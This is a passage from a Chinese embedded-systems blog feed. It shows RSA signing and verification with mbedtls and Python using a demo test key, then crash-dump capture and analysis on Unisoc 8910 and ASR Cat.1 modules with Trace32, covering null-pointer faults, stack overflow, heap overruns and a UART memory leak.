</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">strncpy</span><span class="p">(</span><span class="n">sign_base64</span><span class="p">,</span> <span class="n">b64_out</span><span class="p">,</span> <span class="n">sign_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nl">exit</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">b64_out</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">b64_out</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_pk_free</span><span class="p">(</span> <span class="o">&amp;</span><span class="n">pk</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_ctr_drbg_free</span><span class="p">(</span> <span class="o">&amp;</span><span class="n">ctr_drbg</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_entropy_free</span><span class="p">(</span> <span class="o">&amp;</span><span class="n">entropy</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>生成签名的测试代码</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">test_rsa_pkcs1_sign</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="o">*</span><span class="n">private_key</span> <span class="o">=</span> <span class="s">&#34;-----BEGIN RSA PRIVATE KEY-----</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;MIICXQIBAAKBgQDTt8tp4xNp29CMxy6QS0NzpR6t8bAcv7ei3NkVM/Nzg3K5wWZR</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;aBTMovbzKCXdXYdC6GutVkG+CEetO3XHM4LhDqW0vwISTO65/XrvR3zqXD5ZjrJF</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;mtCAvkCwtMAPjqXZ/RJnd8yrXuoz5cRqVgKmq5TZlGIIiTPIklxGIGof8QIDAQAB</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;AoGAFf1BJoiD5+sBdFmsq6ZxhUWZU+ImEzpTUZpD/riEWNNGe2YLoTlg7acgZH1f</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;P2hbJ9cZdemfTuQvw52JHE0sktCUM6R0wq5rlbDj740+5yZYzs9FlUntm6UtoU9w</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;tpd62/iPxovFkguunJB2KBbtP8q0dYQntATEce1TZuS3trUCQQDl7VRYygSb3/HY</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;ij2ya1592WpgNWgmPvbpmUjGGBvjmnO8Ye1lEy6x69RmGjRrLvFfhWYwcF2HpmYQ</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;9wXKEwT1AkEA67nc/CdeT4j9jRE/QFXlhVrW8Gq8IfjXFGbGK5BqlTRbty3OpW+L</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;M9GPqiMC2XxN60peEiANlQ8aUnvbHZexjQJAcz4RGK+ov7fvL+maIuNN6SYf+zjJ</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;iuHkQBFkOGW9FMdFWxZ6Nj73GJZrTwGzZEWTFZ13KrAnMOZmIfquHCqMQQJBAL+u</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;x9ATg1FRqDyKBdEfCCDEmXuuj4VggCUK3aKXMNRbWyk9iohkh+F/Sz+icLLBreri</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;8lPy1JidS14/cRJDRBECQQCT4oNvmV5CYzqkqbgwtLPi/FIjc6Zi26DGxBzL01V+</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;yTO1ZlOOUOtY4dPBnU4COkdq6hWqum/Q6kiVj91qAUHN</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="s">&#34;-----END RSA PRIVATE KEY-----&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="o">*</span><span class="n">msg</span> <span class="o">=</span> <span class="s">&#34;A message for signing&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">sign</span><span class="p">[</span><span class="mi">1024</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">rsa_pkcs1v15_sha256_sign</span><span class="p">((</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">msg</span><span class="p">,</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">msg</span><span class="p">),</span> <span class="n">private_key</span><span class="p">,</span> <span class="n">sign</span><span class="p">,</span> <span class="k">sizeof</span> <span class="p">(</span><span class="n">sign</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;rsa_pkcs1v15_sha256_sign ret=%d</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">ret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;sign:%s</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">sign</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>输出结果</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">rsa_pkcs1v15_sha256_verify ret=0
</span></span><span class="line"><span class="cl">hash digest before sig
</span></span><span class="line"><span class="cl">47F53245CD05A2B3E811AD6515000B44604B947A57D441B02125B04F4A16BB74
</span></span><span class="line"><span class="cl">rsa_pkcs1v15_sha256_sign ret=0
</span></span><span class="line"><span class="cl">sign:KYiZF/C18O3wgCZvDptfM8Vh/OPMrcAf6ne9eszSuxgGMK57cKCQuWc33JF8iQmKWrSo+ezzkPJIfXGTj3z3Js9vv1DC2tX3oBh9CdZF+yc5MqZAT5LEEqmwNKWiT4iNwwnbXiJtNSy8/T2PRRN0PBy/TZn3HKc1AMKMYMLUjf8=
</span></span></code></pre></td></tr></table>
</div>
</div><p>签名数据 <code>KYiZF/C18O3wgCZvDptfM8Vh/OPMrcAf6ne9eszSuxgGMK57cKCQuWc33JF8iQmKWrSo+ezzkPJIfXGTj3z3Js9vv1DC2tX3oBh9CdZF+yc5MqZAT5LEEqmwNKWiT4iNwwnbXiJtNSy8/T2PRRN0PBy/TZn3HKc1AMKMYMLUjf8=</code> 与在python中生成的一致，说明这段c代码也是正确的。</p>
<h2 id="在python中验证签名">在python中验证签名</h2>
<p>python 验签的测试代码比较简单，如下所示</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">sign_b64</span> <span class="o">=</span> <span class="s2">&#34;KYiZF/C18O3wgCZvDptfM8Vh/OPMrcAf6ne9eszSuxgGMK57cKCQuWc33JF8iQmKWrSo+ezzkPJIfXGTj3z3Js9vv1DC2tX3oBh9CdZF+yc5MqZAT5LEEqmwNKWiT4iNwwnbXiJtNSy8/T2PRRN0PBy/TZn3HKc1AMKMYMLUjf8=&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pub_key</span> <span class="o">=</span> <span class="s2">&#34;-----BEGIN PUBLIC KEY-----</span><span class="se">\n</span><span class="s2">MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDTt8tp4xNp29CMxy6QS0NzpR6t</span><span class="se">\n</span><span class="s2">8bAcv7ei3NkVM/Nzg3K5wWZRaBTMovbzKCXdXYdC6GutVkG+CEetO3XHM4LhDqW0</span><span class="se">\n</span><span class="s2">vwISTO65/XrvR3zqXD5ZjrJFmtCAvkCwtMAPjqXZ/RJnd8yrXuoz5cRqVgKmq5TZ</span><span class="se">\n</span><span class="s2">lGIIiTPIklxGIGof8QIDAQAB</span><span class="se">\n</span><span class="s2">-----END PUBLIC KEY-----&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#base64 解码</span>
</span></span><span class="line"><span class="cl"><span class="n">sign_data</span> <span class="o">=</span> <span class="n">b64decode</span><span class="p">(</span><span class="n">sign_b64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 导入公钥</span>
</span></span><span class="line"><span class="cl"><span class="n">pub</span> <span class="o">=</span> <span class="n">RSA</span><span class="o">.</span><span class="n">import_key</span><span class="p">(</span><span class="n">pub_key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="n">pkcs1_15</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">pub</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">hashs</span> <span class="o">=</span> <span class="n">SHA256</span><span class="o">.</span><span class="n">new</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">hashs</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 验签</span>
</span></span><span class="line"><span class="cl"><span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">c</span><span class="o">.</span><span class="n">verify</span><span class="p">(</span><span class="n">hashs</span><span class="p">,</span> <span class="n">sign_data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;verify ok&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">except</span> <span class="ne">ValueError</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;verify faild&#34;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>打印输出验签结果，也是验签成功的。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">verify ok
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>展锐 8910 平台 dump 抓取和分析专题</title>
      <link>https://hacperme.com/posts/series/dump/20220301_unisoc_8910_dump_series/</link>
      <pubDate>Tue, 01 Mar 2022 00:55:59 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/20220301_unisoc_8910_dump_series/</guid>
      <description>展锐 8910 平台 dump 分析培训分享内容。</description>
      <content:encoded><![CDATA[<h2 id="1-dump-抓取方法">1. dump 抓取方法</h2>
<ul>
<li>
<p>抓取dump的前提</p>
<p>抓取dump之前需要关闭模块的硬件看门狗，可以发at指令或者调用open sdk api</p>
<p>AT 指令：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">at+qdbgcfg=&#34;dumpcfg&#34;,0,1
</span></span></code></pre></td></tr></table>
</div>
</div><p>API:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="nf">ql_dev_cfg_wdt</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>  <span class="c1">// 打开硬件看门狗 
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">ql_dev_cfg_wdt</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>  <span class="c1">// 关闭硬件看门狗
</span></span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>使用coolwatcher工具抓取dump的步骤</p>
<p>在coolwatcher 工具里面选择tools-&gt;blue screen dump。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.6kl1y8cbopo0.png" alt=""  />
</p>
<p>elf 文件选择编译出来的 8915DM_cat1_open_core.elf，然后再选择dump的保存路径，点击start开始传输dump文件。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.7ba9cp8hy100.png" alt=""  />
</p>
</li>
<li>
<p>Trace32 加载dump文件步骤</p>
<p>解压压缩包T32.7z，把dump文件复制到8910dump目录下，同时需要复制编译固件的elf文件，同时放到8910dump目录下。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.1beoxyunshvk.png" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.68n5rt8flvc0.png" alt=""  />
</p>
<p>双击 T32_8910_Quectel_ap.bat 脚本进行解析</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.2gg1onaptj6s.png" alt=""  />
</p>
</li>
<li>
<p>抓取dump失败的常见问题</p>
<ol>
<li>设备的固件与解析的elf文件不匹配</li>
<li>使用串口抓取dump，需要串口支持921600波特率，否则只能用USB方式抓取。</li>
<li>dump 无法导出，尝试使用GDB launch 工具查看调用栈。</li>
<li>调用栈函数名字没有解析出来，可能是没有加载客户app的elf文件，重新加载app.elf或者根据函数地址查找map文件。</li>
</ol>
</li>
</ul>
<h2 id="2-trace32-工具的使用">2. TRACE32 工具的使用</h2>
<ul>
<li>
<p>查看调用栈</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.6197iyj56dw0.png" alt=""  />
</p>
</li>
<li>
<p>查看寄存器</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.5333jcu67bg0.png" alt=""  />
</p>
<p>R15&ndash;PC,</p>
<p>R14&ndash;LR,</p>
<p>R13&ndash;SP</p>
</li>
<li>
<p>dump 内存</p>
<p>输入16进制内存地址</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.1b610cfkslcw.png" alt=""  />
</p>
</li>
<li>
<p>线程列表</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.43dqywq15fw0.png" alt=""  />
</p>
<p>查看tcb</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.7bdb8l9q8vo0.png" alt=""  />
</p>
</li>
<li>
<p>查看变量</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.5jmpgb7kr3k0.png" alt=""  />
</p>
<p>使用命令 v.v 变量类型 变量地址</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.5xhx3po5k6o0.png" alt=""  />
</p>
</li>
<li>
<p>通过设置断点，根据函数地址查找函数名字</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.6j2i6nh6ioo0.png" alt=""  />
</p>
</li>
<li>
<p>查看类型，数据结构定义</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.4h67d8yjesq0.png" alt=""  />
</p>
</li>
<li>
<p>查看代码</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.3c77p6zotde0.png" alt=""  />
</p>
</li>
</ul>
<h2 id="3-典型问题分析方法">3. 典型问题分析方法</h2>
<h3 id="31-访问非法内存死机">3.1 访问非法内存死机</h3>
<p>怎么判断是否是访问非法内存呢？</p>
<p>通过查看死机时的汇编指令(通常是内存寻址指令)和寄存器来判定。</p>
<p>示例如下图：</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.30mm21bknm60.png" alt=""  />
</p>
<p>ldrb    r2,[r1,#0x5]  为死机的位置，ldrb 是ARM汇编中的一条内存寻址指令，作用是将从存储器中将一个<code>8</code>位的字节数据传送到目的寄存器中，同时将寄存器的高<code>24</code>位清零。</p>
<p>ldrb    r2,[r1,#0x5]  的意思是 将存储器地址为R1＋0x5的字节数据读入寄存器R2，并将R2的高24位清零。也就是该指令访问了R1寄存器所指向的内存地址，而查看R1寄存器的值发现R1为0，也就是访问了空指针（0地址）。</p>
<h3 id="32-栈溢出分析及栈溢出检测机制">3.2 栈溢出分析及栈溢出检测机制</h3>
<p>栈溢出问题可以分为两种类型，一是栈空间不够，在压栈的时候使用的空间超出了任务的栈空间大小；另一种是局部变量溢出，导致栈空间保存的数据被破坏。</p>
<ul>
<li>
<p>栈溢出检测机制</p>
<p>展锐的8910使用的是FreeRTOS， 栈的增长方向是从高地址向地址增长。其栈溢出检测的原理是，在任务栈初始化的时候，填充固定数据0xA5，kernel 会检查任务栈的最后16个字节的数据是否被篡改，如果发现这16个字节不是0xA5，则会触发ApplicationStackOverflowHook的调用，然后调用osiPanic() 主动死机。</p>
</li>
<li>
<p>栈溢出分析示例</p>
<p>栈空间大小分配不够导致栈溢出的问题的判断方法：</p>
<p>这种类型的栈溢出判断比较简单，直接看Trace32的调用栈里面是否有vApplicationStackOverflowHook的调用；或者查看死机task的TCB，查看其栈的起始地址对应的内存数据，看填充的A5A5数据是不是被篡改了，如果不是A5A5，则可以断定是栈溢出了。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.705487lxxtg0.png" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.1yppd8g70s9s.png" alt=""  />
</p>
<p>局部变量溢出导致dump的判断方法：</p>
<p>这类问题比较难定位到具体是哪个变量溢出，但表现的现象很有特点：看任务栈的空间没有超，且每次死机的位置不固定，或者PC寄存器指向的地址不是一个正常的函数地址。遇到这类情况可以往局部变量溢出导致栈被破坏这个方向排查问题。</p>
</li>
</ul>
<h3 id="33-内存写越界dump分析方法">3.3 内存写越界dump分析方法</h3>
<p>判断内存越界的方法，如果有导出heap report文件，可以先看下heap report里面有没有 block tail pattern error 的地方。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.19zvvjkrafuo.png" alt=""  />
</p>
<p>如果没有heap report文件，则可以从dump解析里面去判断，具体方法如下：</p>
<p>先看调用栈里面有没有prvFree.part.5的调用，如果有则有可能是检测到内存被破坏了。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.x7rh1xs5d5s.png" alt=""  />
</p>
<p>对于指定的内存地址，看有没有越界，还可以通过dump内存数据来判断，例如查看0x80BAEC90这个地址有没有被破坏：</p>
<p>在命令窗口执行如下命令，对内存地址转换为struct osiBlockHeader *变量来查看：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">v.v (struct osiBlockHeader *)(0x80BAEC90-8)
</span></span></code></pre></td></tr></table>
</div>
</div><p>注意对地址0x80BAEC90 向前偏移8个字节</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.3whwy6coo960.png" alt=""  />
</p>
<p>我们可以得到几个信息：</p>
<p>caller = 806162601</p>
<p>size = 4,</p>
<p>对caller = 806162601（十进制）乘以2，可以得到申请这段内存的函数地址，806162601*2=1612325202 （0x601A2152），通过设置断点的方式可以找到地址0x601A2152对应的函数是mlConvertStr。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.52wsocwbxq40.png" alt=""  />
</p>
<p>size = 4（十进制）乘以8，可以得到这段内存的大小，4*8=32 （0x20）</p>
<p>然后dump这段内存，查看这段内存的tail位置是否为fd，如果不是则表示越界了</p>
<p>查看方法，输入指令:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">d.dump (0x80BAEC90-0x08+0x20-0x01)
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.3vk1kk62we80.png" alt=""  />
</p>
<p>看箭头所指的地方是否为fd。</p>
<p>tail的位置的计算方法，内存地址-0x08+内存大小-0x01</p>
<p>上述dump内存的方法和导出的heap report是可以对应的上的：</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.3xcjcommx8o0.png" alt=""  />
</p>
<p>​	取一个正常的内存地址做对比，以dump中的地址0x80BAEC28为例：</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.1xhhsmxcpeow.png" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.3yp6fparxdm0.png" alt=""  />
</p>
<p>caller = 806521247,  806521247*2 = 1613042494（0x6025133E）</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.4ve7tv6clp80.png" alt=""  />
</p>
<p>size = 13,  13*8=104 (0x68)</p>
<p>查看tail</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">d.dump (0x80BAEC28-0x08+0x68-0x01)
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.3pptmlkjmgo0.png" alt=""  />
</p>
<p>内存的结构：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl"> 8字节header(包含caller，size等信息)+数据区(malloc返回的地址)+8字节对齐的冗余数据+1字节的尾部（其中最后一个字节为tail: FD）
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.4spx3x78qqe0.png" alt=""  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>ASR CAT 1 平台申请不到内存dump案例</title>
      <link>https://hacperme.com/posts/series/dump/20220301_malloc_failed_dump/</link>
      <pubDate>Tue, 01 Mar 2022 00:48:52 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/20220301_malloc_failed_dump/</guid>
      <description>内存泄漏导致内存申请失败。</description>
      <content:encoded><![CDATA[<p>内存耗尽导致的dump会有类似的错误输出：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-plaintext" data-lang="plaintext"><span class="line"><span class="cl">Error description: (310,320,0),KIOSMEM,L:146
</span></span></code></pre></td></tr></table>
</div>
</div><p>(310,320,0),KIOSMEM,L:146 表示申请 0x320(800)字节大小的内存失败。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.71ra56f17sc.png" alt=""  />
</p>
<p>通过工具 Quec_Crane_Dump_Memory_Parse_Tool_v1.1.2 解析dump查看内存使用情况，打开output_osa_mem.txt，查找 <code>free block</code> 关键字，发现确实没有0x320（800）大小的空闲内存了。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.5mk1a5n2q58.png" alt=""  />
</p>
<p>最后检查应用代码，定位发生内存泄漏的地方。</p>
<p>task QlUMaiRx 申请了365920字节，申请了10455次， 所以这里出问题的可能性最大，最后确定是串口接收回调 ql_uart_callback 内存泄漏。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.7c56drtmo4o0.png" alt=""  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>Quec_Crane_Dump_Memory_Parse_Tool_v1.1.2 增加 app.map 文件解析的修改方法</title>
      <link>https://hacperme.com/posts/series/dump/20220301_crane_dump_memory_parse_tool_app_map/</link>
      <pubDate>Tue, 01 Mar 2022 00:40:42 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/20220301_crane_dump_memory_parse_tool_app_map/</guid>
      <description>为 dump 解析工具增加 app.map 文件支持。</description>
      <content:encoded><![CDATA[<p>Quec_Crane_Dump_Memory_Parse_Tool_v1.1.2 是一个使用 python 写的，解析ASR 平台 dump 的一个工具。通常在使用 trace 32 工具分析dump的时候，也结合 Quec_Crane_Dump_Memory_Parse_Tool 工具辅助分析。</p>
<p>Quec_Crane_Dump_Memory_Parse_Tool 只能根据 kernel.map 解析dump，而在app侧编译的app.map无法解析。kernel.map 是在 armcc 工具套件下编译生成的，而 app.map 则使用的是 armgcc 编译工具，二者生成的map文件格式有较大差异，Quec_Crane_Dump_Memory_Parse_Tool 没有支持 armgcc</p>
